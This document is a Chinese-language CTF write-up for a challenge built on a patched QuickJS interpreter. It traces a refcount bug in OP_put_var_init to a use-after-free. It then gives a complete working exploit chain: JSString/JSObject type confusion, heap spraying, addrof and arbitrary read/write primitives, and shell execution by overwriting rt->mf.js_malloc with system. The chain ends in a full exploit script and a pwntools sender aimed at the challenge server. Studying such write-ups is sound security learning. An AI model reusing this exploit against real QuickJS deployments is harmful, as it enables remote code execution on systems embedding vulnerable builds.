挺有意思的一道题,比赛时没有做出来,赛后多花了几天钻研了一下,所以标题取名 Revenge
1 Initial Analysis 1.1 The challenge
题目给了需要的库,只需要 patchelf 一下就可以,给的 elf 是 QuickJS version 2025-09-13,这是一个开源的 JavaScript 解释器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./qjs -h QuickJS version 2025-09-13 usage: qjs [options] [file [args]] -h --help list options -e --eval EXPR evaluate EXPR -i --interactive go to interactive mode -m --module load as ES6 module (default=autodetect) --script load as ES6 script (default=autodetect) --strict force strict mode -I --include file include an additional file --std make 'std' and 'os' available to the loaded script -T --trace trace memory allocation -d --dump dump the memory usage stats --memory-limit n limit the memory usage to 'n' bytes (SI suffixes allowed) --stack-size n limit the stack size to 'n' bytes (SI suffixes allowed) --no-unhandled-rejection ignore unhandled promise rejections -s strip all the debug info --strip-source strip the source code -q --quit just instantiate the interpreter and quit
重点是题目提供的 patch.diff 文件,这里直接指出了漏洞出现的位置:删除了 if {} else {} 内的 sp--,统一挪到了 if {} else {} 外面。
初步推测是这样:sp 是解释器的栈指针,set_value 函数和 JS_SetPropertyInternal 都通过 sp[-1] 来取对象,sp-- 意味着弹栈,本来应该是先 sp-- 才能进入 exception 分支,但是现在删除 sp-- 之后,exception 分支对本不应该处理的对象多做了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ cat patch.diff diff --git a/quickjs.c b/quickjs.c index 6f461d6..98d0cbe 100644 --- a/quickjs.c +++ b/quickjs.c @@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj, } ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1], ctx->global_obj, JS_PROP_THROW_STRICT); - sp--; if (ret < 0) goto exception; } } else { put_var_ok: set_value(ctx, var_ref->pvalue, sp[-1]); - sp--; } + sp--; } BREAK; CASE(OP_get_loc):
1.2 POC Analysis 在 QuickJS Github repo 上找到了修复 commit ,相关的 issue 告诉我们这是 Heap UAF in JS_FreeValue
POC
1 2 3 4 5 6 class a { constructor ( ) { Infinity = this ; } } new a ();
这样我们也可以直接从源码编译进行调试,issue 中给出的 vulnerable 分支是 a6816be23ae2bc511c7797489326f58934968323,带源码调试就方便很多
我们再去看 issue 所说的 JS_FreeValue:可以发现关键点在于 if (--p->ref_count <= 0),只有当 ref_count 减到 0 时,才会真正进入 free 流程,在 JSObject 中 ref_count 就是第一个 dword
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static inline void JS_FreeValue (JSContext *ctx, JSValue v ){ if (JS_VALUE_HAS_REF_COUNT (v)) { JSRefCountHeader *p = (JSRefCountHeader *)JS_VALUE_GET_PTR (v); if (--p->ref_count <= 0 ) { __JS_FreeValue (ctx, v); } } } struct JSObject { union { JSGCObjectHeader header; struct { int __gc_ref_count; ...
通过查阅资料得知,ref_count 代表了该 JSObject 被引用的次数,var a = [2] 表明 [2] 这个 JSObject 有 a 这个引用,再执行 var b = a 会导致 [2] 的 ref_count 增加,再执行 b = 0 会导致 [2] 的 ref_count 减少
然后我们看为什么会出现 UAF。漏洞出现在源码中 CASE(OP_put_var_init): 分支,推测是赋值操作,在 if (ret < 0) goto exception; 前缺少一个 sp--,导致多携带了一个对象进入 exception
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 static JSValue JS_CallInternal (JSContext *caller_ctx, JSValueConst func_obj, JSValueConst this_obj, JSValueConst new_target, int argc, JSValue *argv, int flags ){ ... for (;;) { int call_argc; JSValue *call_argv; SWITCH (pc ) { ... CASE (OP_put_var_init): { .... ret = JS_SetPropertyInternal (ctx, ctx->global_obj, cv->var_name, sp[-1 ], ctx->global_obj, JS_PROP_THROW_STRICT ); if (ret < 0 ) goto exception; } } else { put_var_ok : set_value (ctx, var_ref->pvalue, sp[-1 ]); } sp--; } BREAK ;
exception 分支中执行 JS_FreeValue(ctx, sp[-1]),导致本该弹栈的对象的 ref_count - 1,推测该对象就是要赋值的对象,这会导致 ref_count 比实际的被引用数更小,后续当 ref_count == 0 时,仍可能存在对该对象的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 exception : if (is_backtrace_needed (ctx, rt->current_exception)) { sf->cur_pc = pc; build_backtrace (ctx, rt->current_exception, NULL , 0 , 0 , 0 ); } if (!rt->current_exception_is_uncatchable) { while (sp > stack_buf) { JSValue val = *--sp; JS_FreeValue (ctx, val); if (JS_VALUE_GET_TAG (val) == JS_TAG_CATCH_OFFSET ) { int pos = JS_VALUE_GET_INT (val); if (pos == 0 ) { JS_FreeValue (ctx, sp[-1 ]); sp--; JS_IteratorClose (ctx, sp[-1 ], TRUE ); } else { *sp++ = rt->current_exception; rt->current_exception = JS_UNINITIALIZED ; pc = b->byte_code_buf + pos; goto restart; } } } } ret_val = JS_EXCEPTION ; if (b->func_kind != JS_FUNC_NORMAL ) { done_generator : sf->cur_pc = pc; sf->cur_sp = sp; } else { done : if (unlikely (!list_empty (&sf->var_ref_list))) { close_var_refs (rt, sf); } for (pval = local_buf; pval < sp; pval++) { JS_FreeValue (ctx, *pval); } } rt->current_stack_frame = sf->prev_frame; return ret_val;
用下面的代码初步复现一下 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var a = 'AAAAAAAA' ;var ref_a = a;class vul1 { constructor ( ) { Infinity = a; } } try { new vul1 (); } catch (e) { print ("[-] Exception: " + e); } a = 0 ; print ("[+] a = " + a);print ("[+] ref_a = " + ref_a);
可以看到最后发生了 double free,说明在最后 ‘AAAAAAAA’ 这个 JSString 被 free 了两次
1 2 3 4 5 6 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js [-] Exception: TypeError: 'Infinity' is read-only [+] a = 0 [+] ref_a = AAAAAAAA free(): double free detected in tcache 2 Aborted (core dumped)
用如下指令调试跟踪
1 2 3 4 5 6 7 8 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ cat myinit.gdb starti b /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.c:17996 c (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ gdb -q -x myinit.gdb --args ./myqjs ./tmp.js pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list. pwndbg: created 13 GDB functions (can be used with print /break). Type help function to see them. Reading symbols from ./myqjs..
可以看到 sp[-1] 就是发生 UAF 的对象,即 ‘AAAAAAAA’ 这个 JSString
当其 ref_count == 0,堆块进入 bins 时,我们仍然可以通过 ref_a 对其进行访问
如果在编译 qjs 时启用 ASAN,可以看到如下信息
1 2 3 4 5 6 7 8 9 10 11 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs-debug ./tmp.js [-] Exception: TypeError: 'Infinity' is read-only [+] a = 0 [+] ref_a = AAAAAAAA ================================================================= ==3533059==ERROR: AddressSanitizer: heap-use-after-free on address 0x503000007870 at pc 0x5a14cbbdc432 bp 0x7fff0704d1d0 sp 0x7fff0704d1c0 READ of size 4 at 0x503000007870 thread T0
2 Exploiting UAF in QuickJS 漏洞利用的主要思想是构造类型混淆,泄露以及修改 JSObject 结构体中的数据、指针
主要目标是 0x38 处的 value 指针,该指针对于大多数 JS 类型来说是数据区指针,其指向的堆块用来存放实际的数据。
例如 var a = [2, 2, 2];
而 JSString 则没有那么多指针,例如 var b = 'A'.repeat(55);
辅助函数
1 2 3 4 5 6 7 function toint64 (low, high ) { return low + high * 0x100000000 ; } function fromint64 (val ) { return [val & 0xffffffff , val / 0x100000000 ]; }
2.1 Leaking JSObject via JSString 首先申请一个合适大小的 JSString,使其 chunk size = 0x50,这样刚好是 JSObject 的大小,再利用漏洞将该 chunk free 的同时保留一个它的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var target;var ref_str;print ("[+] Allocate target JSString" );target = 'A' .repeat (55 ); print ("[+] Grabbing reference to target JSString" );ref_str = target; print ("[+] ref_str:" , ref_str);print ("[+] Triggering vulnerability, refcount of target JSString - 1" );class vul1 { constructor ( ) { Infinity = target; } } try { new vul1 (); } catch (e) { print ("[-] Exception: " + e); } print ("[+] Free target JSString" );target = 0 ;
然后我们再创建一个 Array,将该 chunk 申请回来,就可以利用先前留下的 JSString 引用来泄露 JSObject 中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var ref_obj;var jsobj_leak_data = new Uint32Array (0x38 );jsobj_leak_data.fill (0 ); print ("[+] Allocate JSObject" );ref_obj = [0x2 ]; print ("[+] Leaking JSObject data via ref_str" );for (var i = 0 ; i < 0x38 ; i += 4 ) { var ptr = 0 ; var val = '' ; ptr = ref_str.slice (i, i + 4 ); for (var j = 3 ; j >= 0 ; j--) { var char = ptr.charCodeAt (j).toString (16 ); if (char.length == 1 ) char = '0' + char; val += char; } val = parseInt (val, 16 ); jsobj_leak_data[i / 4 ] = val; } var shape = toint64 (jsobj_leak_data[(0x20 - 0x10 ) / 4 ], jsobj_leak_data[(0x24 - 0x10 ) / 4 ]);var prop = toint64 (jsobj_leak_data[(0x28 - 0x10 ) / 4 ], jsobj_leak_data[(0x2c - 0x10 ) / 4 ]);var values = toint64 (jsobj_leak_data[(0x38 - 0x10 ) / 4 ], jsobj_leak_data[(0x3c - 0x10 ) / 4 ]);print ("[+] JSObject leak: shape @ " + shape.toString (16 ));print ("[+] JSObject leak: prop @ " + prop.toString (16 ));print ("[+] JSObject leak: values @ " + values.toString (16 ));
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js [+] Allocate target JSString [+] Grabbing reference to target JSString [+] ref_str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] Triggering vulnerability, refcount of target JSString - 1 [-] Exception: TypeError: 'Infinity' is read-only [+] Free target JSString [+] Allocate JSObject [+] Leaking JSObject data via ref_str [+] JSObject leak: shape @ 59172c8e4060 [+] JSObject leak: prop @ 59172c8f9930 [+] JSObject leak: values @ 59172c8f98d0 myqjs: quickjs.c:6343: gc_free_cycles: Assertion `p->gc_obj_type == JS_GC_OBJ_TYPE_JS_OBJECT || p->gc_obj_type == JS_GC_OBJ_TYPE_FUNCTION_BYTECODE || p->gc_obj_type == JS_GC_OBJ_TYPE_ASYNC_FUNCTION || p->gc_obj_type == JS_GC_OBJ_TYPE_MODULE' failed. Aborted (core dumped)
在 gdb 中跟踪可以看到同一个 chunk 从 JSString 到被 free 到 JSObject 的过程
2.2 Forging JSObject via ArrayBuffer 下一步是构造越界读/写,由于 JSString 在生成后就不能再修改其中的内容,我们选择 Uint32Array<ArrayBuffer> 类型,该类型可以对数据区任意位置进行任意读写
Array 与 ArrayBuffer 不同,作为通用容器,Array 数据区的前 8 字节才是能写的地方,可以写常数或者对象地址,后 8 字节是 tag,标识数据类型。例如 var a = [parseInt],数据区的前 8 字节就会写入 parseInt 的地址,parseInt 虽然是函数,但同样也是当作 JSObject 来管理,其 value 字段存的是真正的 C 代码地址
但是这样我们就要让 Uint32Array<ArrayBuffer> 的数据区,即 value 指针指向原来的 chunk,所以 Uint32Array 大小必须在 (0x40, 0x50],ref_buffer = new Uint32Array(0x48 / 4);
类似的:
先给目标 JSObject 创建一个引用
然后申请一大堆 0x50 大小的 chunk 将 tcache 和 fastbin 清空
利用漏洞将目标 JSObject free 并保留引用
再 free 一个 0x50 大小的 chunk
new 一个 Uint32Array(0x48/4),取出 bins 中 2 个 0x50 大小的 chunk
此目标 chunk 就变成了 Uint32Array 的数据区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var ref_ref_obj;var ref_buffer;print ("[+] Grabbing reference to target JSObject" );ref_ref_obj = ref_obj; print ("[+] Triggering vulnerability, refcount of target JSObject - 1" );class vul2 { constructor ( ) { Infinity = ref_obj; } } try { new vul2 (); } catch (e) { print ("[-] Exception: " + e); } print ("[+] Clear tcache bins" );var clear = [];for (var i = 0 ; i < 0x100 ; i++) { clear.push ('X' .repeat (55 )); } print ("[+] Free target JSObject" );ref_obj = 0 ; print ("[+] Allocate target as ArrayBuffer Data" );clear[0 ] = 0 ; ref_buffer = new Uint32Array (0x48 / 4 ); ref_buffer.fill (0x42424242 );
现在我们就实现了 ref_buffer 的 value chunk 和 ref_ref_obj 的 JSObject chunk 的重合,可以使用之前泄露出的内容伪造 JSObject 了
接下来只要伪造 ref_ref_obj 的 value 指针,就可以让其指向我们其他控制的区域。 这里我们先申请大量的 Uint32Array 堆块 spray,然后将 ref_ref_obj 的 value 指针指向 spray 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var spray = [];var overlap_addr;print ("[+] Spraying buffers" );for (var i = 0 ; i < 0x400 ; i++) { spray.push (new Uint32Array (0x1000 / 4 )); spray[i].fill (0x51515151 ); } print ("[+] Creating holes" );for (var i = 0 ; i < spray.length ; i += 0x4 ) { spray[i] = 0 ; } print ("[+] Crafting JSObject with values pointing to spray buffer data" );jsobj_leak_data[(0x38 - 0x10 ) / 4 ] += 0x321000 ; overlap_addr = values + 0x321000 ; ref_buffer[0 ] = 0x51414141 ; ref_buffer[1 ] = 0x00020d40 ; ref_buffer[2 ] = 0x41414141 ; ref_buffer[3 ] = 0x41414141 ; for (var i = 4 ; i < 0x48 / 4 ; i++) { ref_buffer[i] = jsobj_leak_data[i - 4 ]; } print ("[+] New JSObject values @ " + overlap_addr.toString (16 ));
2.3 Leaking Arbitrary Object Address 现在已经让 ref_ref_obj 访问到了 spray 中,可以先找到具体是哪个 Uint32Array 与其重合,然后利用 Array 可以存放 JSObject 的能力(实际上就是存放 JSObject 的地址),用 spray 将任意 JSObject 地址泄露出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 var master = new Uint32Array (0x40 );master.fill (0x31313131 ); var slave = new Uint32Array (0x40 );slave.fill (0x61616161 ); print ("[+] Finding overlap" );ref_ref_obj[0 ] = 0x50505050 ; var overlap_buf;var overlap_index;for (var i = 0 ; i < spray.length ; i++) { for (var j = 0 ; j < (0x1000 / 4 ); j++) { if (spray[i][j] == 0x50505050 ) { overlap_buf = spray[i]; overlap_index = j; print ("[+] Overlap found" ); print ("[+] Spray index = " + i.toString (16 )); print ("[+] Index into buffer = " + j.toString (16 )); } } } function addrof (obj ) { ref_ref_obj[0 ] = obj; var ret = toint64 (overlap_buf[overlap_index], overlap_buf[overlap_index + 1 ]); ref_ref_obj[0 ] = 0 ; return ret; } var master_addr = addrof (master);var slave_addr = addrof (slave);var parseFloat_addr = addrof (parseFloat );print ("[+] master addr = " + master_addr.toString (16 ));print ("[+] slave addr = " + slave_addr.toString (16 ));print ("[+] parseFloat addr = " + parseFloat_addr.toString (16 ));
输出如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 (pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js [+] Allocate target JSString [+] Grabbing reference to target JSString [+] ref_str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] Triggering vulnerability, refcount of target JSString - 1 [-] Exception: TypeError: 'Infinity' is read-only [+] Free target JSString [+] Allocate JSObject [+] Leaking JSObject data via ref_str [+] JSObject leak: shape @ 5aeecc33b060 [+] JSObject leak: prop @ 5aeecc357870 [+] JSObject leak: values @ 5aeecc357900 [+] Grabbing reference to target JSObject [+] Triggering vulnerability, refcount of target JSObject - 1 [-] Exception: TypeError: 'Infinity' is read-only [+] Clear tcache bins [+] Free target JSObject [+] Allocate target as ArrayBuffer Data [+] Spraying buffers [+] Creating holes [+] Crafting JSObject with values pointing to spray buffer data [+] New JSObject values @ 5aeecc678900 [+] Finding overlap [+] Overlap found [+] Spray index = 2cd [+] Index into buffer = 320 [+] master addr = 5aeecc34bd10 [+] slave addr = 5aeecc34bf40 [+] parseFloat addr = 5aeecc33ced0
2.4 Arbitrary Address Read/Write Primitive 准备好 2 个 Uint32Array,利用 ref_ref_obj 和 spray 泄露出它们的地址,分别为 master 和 slave
之前我们利用 ref_buffer 修改 ref_ref_obj 的 value 指针指向了 spray,现在同样的方法,修改 ref_ref_obj 的 value 指针指向 master 的 value,利用 Array 可以写常数的性质,将 master 的 value 指针指向 slave。
如此即可使用 master 控制 slave 的 value 指针,实现任意地址读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 print ("[+] Crafting master.value -> slave, using crafted JSObject" );ref_buffer[0x38 / 4 ] = (master_addr & 0xffffffff ) + 0x38 ; ref_ref_obj[0 ] = slave; function ar64 (addr ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; var ret = toint64 (slave[0 ], slave[1 ]); return ret; } function aw64 (addr, val ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; slave[0 ] = val & 0xffffffff ; slave[1 ] = val / 0x100000000 ; } function aw32 (addr, val ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; slave[0 ] = val & 0xffffffff ; }
2.5 Gaining RCE 泄露 parseFloat 对象的地址,然后读出其 value 指针,该位置存放的是实际执行的 C 函数 js_parseFloat 的地址,从而泄露出 elf base,再读出 elf bss 段上的 stdin 拿到 _IO_2_1_stdin_,泄露出 libc base,heap base 用之前任意一个堆块地址都可以拿到
最后为实现 RCE,我们要修改堆上的重要结构体 rt,其类型 JSRuntime,里面有 2 个重要数据结构 JSMallocFunctions mf 和 JSMallocState malloc_state,前者存放了堆管理要用的函数,后者是要用到的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct JSRuntime { JSMallocFunctions mf; JSMallocState malloc_state; const char *rt_info; ... }; typedef struct JSMallocState { size_t malloc_count; size_t malloc_size; size_t malloc_limit; void *opaque; } JSMallocState; typedef struct JSMallocFunctions { void *(*js_malloc)(JSMallocState *s, size_t size); void (*js_free)(JSMallocState *s, void *ptr); void *(*js_realloc)(JSMallocState *s, void *ptr, size_t size); size_t (*js_malloc_usable_size)(const void *ptr); } JSMallocFunctions;
我们只要修改堆上存放的 rt->mf.js_malloc 地址为 system,修改 rt->malloc_state 中存放的内容为 '/bin/sh\x00',然后再申请 ArrayBuffer 即可完成控制,它们就分别位于 heap base + 0x2a0 和 heap base + 0x2c0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 js_parseFloat = ar64 (parseFloat_addr + 0x38 ); elf_base = js_parseFloat - 0x56540 ; stdin = elf_base + 0x1000D0 ; _IO_2_1_stdin_ = ar64 (stdin); libc_base = _IO_2_1_stdin_ - 0x2038e0 ; system = libc_base + 0x58750 ; heap_base = parseFloat_addr - 0xaed0 ; rt_mf = heap_base + 0x2a0 ; rt_malloc_state = heap_base + 0x2c0 ; print ("[+] elf_base @ " + elf_base.toString (16 ));print ("[+] libc_base @ " + libc_base.toString (16 ));print ("[+] heap_base @ " + heap_base.toString (16 ));print ("[+] Overwrite rt->mf.js_malloc as system" );aw64 (rt_mf, system);print ("[+] Overwrite rt->malloc_state as '/bin/sh'" );aw32 (rt_malloc_state, 0x6e69622f );aw32 (rt_malloc_state + 4 , 0x68732f );let buf = new ArrayBuffer (0x100 );
2.6 EXP
下面是我对题目提供的 qjs 的利用脚本,与本地编译的 qjs 区别仅在于各个 offset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 function toint64 (low, high ) { return low + high * 0x100000000 ; } function fromint64 (val ) { return [val & 0xffffffff , val / 0x100000000 ]; } var target;var ref_str;var ref_obj;var ref_ref_obj;var ref_buffer;var spray = [];var jsobj_leak_data = new Uint32Array (0x38 );jsobj_leak_data.fill (0 ); var master = new Uint32Array (0x40 );master.fill (0x31313131 ); var slave = new Uint32Array (0x40 );slave.fill (0x61616161 ); print ("[+] Allocate target JSString" );target = 'A' .repeat (55 ); print ("[+] Grabbing reference to target JSString" );ref_str = target; print ("[+] ref_str:" , ref_str);print ("[+] Triggering vulnerability, refcount of target JSString - 1" );class vul1 { constructor ( ) { Infinity = target; } } try { new vul1 (); } catch (e) { print ("[-] Exception: " + e); } print ("[+] Free target JSString" );target = 0 ; print ("[+] Allocate JSObject" );ref_obj = [0x2 ]; print ("[+] Leaking JSObject data via ref_str" );for (var i = 0 ; i < 0x38 ; i += 4 ) { var ptr = 0 ; var val = '' ; ptr = ref_str.slice (i, i + 4 ); for (var j = 3 ; j >= 0 ; j--) { var char = ptr.charCodeAt (j).toString (16 ); if (char.length == 1 ) char = '0' + char; val += char; } val = parseInt (val, 16 ); jsobj_leak_data[i / 4 ] = val; } var shape = toint64 (jsobj_leak_data[(0x20 - 0x10 ) / 4 ], jsobj_leak_data[(0x24 - 0x10 ) / 4 ]);var prop = toint64 (jsobj_leak_data[(0x28 - 0x10 ) / 4 ], jsobj_leak_data[(0x2c - 0x10 ) / 4 ]);var values = toint64 (jsobj_leak_data[(0x38 - 0x10 ) / 4 ], jsobj_leak_data[(0x3c - 0x10 ) / 4 ]);print ("[+] JSObject leak: shape @ " + shape.toString (16 ));print ("[+] JSObject leak: prop @ " + prop.toString (16 ));print ("[+] JSObject leak: values @ " + values.toString (16 ));print ("[+] Grabbing reference to target JSObject" );ref_ref_obj = ref_obj; print ("[+] Triggering vulnerability, refcount of target JSObject - 1" );class vul2 { constructor ( ) { Infinity = ref_obj; } } try { new vul2 (); } catch (e) { print ("[-] Exception: " + e); } print ("[+] Clear tcache bins" );var clear = [];for (var i = 0 ; i < 0x100 ; i++) { clear.push ('X' .repeat (55 )); } print ("[+] Free target JSObject" );ref_obj = 0 ; print ("[+] Allocate target as ArrayBuffer Data" );clear[0 ] = 0 ; ref_buffer = new Uint32Array (0x48 / 4 ); ref_buffer.fill (0x42424242 ); print ("[+] Spraying buffers" );for (var i = 0 ; i < 0x400 ; i++) { spray.push (new Uint32Array (0x1000 / 4 )); spray[i].fill (0x51515151 ); } print ("[+] Creating holes" );for (var i = 0 ; i < spray.length ; i += 0x4 ) { spray[i] = 0 ; } print ("[+] Crafting JSObject with values pointing to spray buffer data" );jsobj_leak_data[(0x38 - 0x10 ) / 4 ] += 0x321000 ; overlap_addr = values + 0x321000 ; ref_buffer[0 ] = 0x51414141 ; ref_buffer[1 ] = 0x00020d40 ; ref_buffer[2 ] = 0x41414141 ; ref_buffer[3 ] = 0x41414141 ; for (var i = 4 ; i < 0x48 / 4 ; i++) { ref_buffer[i] = jsobj_leak_data[i - 4 ]; } print ("[+] New JSObject values @ " + overlap_addr.toString (16 ));print ("[+] Finding overlap" );ref_ref_obj[0 ] = 0x50505050 ; var overlap_buf;var overlap_index;for (var i = 0 ; i < spray.length ; i++) { for (var j = 0 ; j < (0x1000 / 4 ); j++) { if (spray[i][j] == 0x50505050 ) { overlap_buf = spray[i]; overlap_index = j; print ("[+] Overlap found" ); print ("[+] Spray index = " + i.toString (16 )); print ("[+] Index into buffer = " + j.toString (16 )); } } } function addrof (obj ) { ref_ref_obj[0 ] = obj; var ret = toint64 (overlap_buf[overlap_index], overlap_buf[overlap_index + 1 ]); ref_ref_obj[0 ] = 0 ; return ret; } var master_addr = addrof (master);var slave_addr = addrof (slave);var parseFloat_addr = addrof (parseFloat );print ("[+] master addr = " + master_addr.toString (16 ));print ("[+] slave addr = " + slave_addr.toString (16 ));print ("[+] parseFloat addr = " + parseFloat_addr.toString (16 ));print ("[+] Crafting master.value -> slave, using crafted JSObject" );ref_buffer[0x38 / 4 ] = (master_addr & 0xffffffff ) + 0x38 ; ref_ref_obj[0 ] = slave; function ar64 (addr ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; var ret = toint64 (slave[0 ], slave[1 ]); return ret; } function aw64 (addr, val ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; slave[0 ] = val & 0xffffffff ; slave[1 ] = val / 0x100000000 ; } function aw32 (addr, val ) { master[0x38 / 4 ] = (addr & 0xffffffff ) >>> 0 ; master[0x3c / 4 ] = addr / 0x100000000 ; slave[0 ] = val & 0xffffffff ; } js_parseFloat = ar64 (parseFloat_addr + 0x38 ); elf_base = js_parseFloat - 0x9f996 ; stdin = elf_base + 0x12A190 ; _IO_2_1_stdin_ = ar64 (stdin); libc_base = _IO_2_1_stdin_ - 0x2038e0 ; system = libc_base + 0x58750 ; heap_base = parseFloat_addr - 0xb160 ; rt_mf = heap_base + 0x2a0 ; rt_malloc_state = heap_base + 0x2c0 ; print ("[+] elf_base @ " + elf_base.toString (16 ));print ("[+] libc_base @ " + libc_base.toString (16 ));print ("[+] heap_base @ " + heap_base.toString (16 ));print ("[+] Overwrite rt->mf.js_malloc as system" );aw64 (rt_mf, system);print ("[+] Overwrite rt->malloc_state as '/bin/sh'" );aw32 (rt_malloc_state, 0x6e69622f );aw32 (rt_malloc_state + 4 , 0x68732f );let buf = new ArrayBuffer (0x100 );print ("[+] debug" );
python 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *elf = ELF("./qjs" ) libc = ELF("./libc.so.6" ) js_path = "./exp.js" context(os=elf.os, arch=elf.arch, log_level='info' ) if __name__ == "__main__" : io = remote("pwn-a699066b6e.challenge.xctf.org.cn" , 9999 , ssl=True ) data = open ('exp.js' , 'rb' ).read() data += b'EOF\n' io.recv() io.send(data) io.interactive()
3 Reference [1] QuickJS uaf 漏洞分析
[2] ASIS CTF Finals 2023 iswebp.js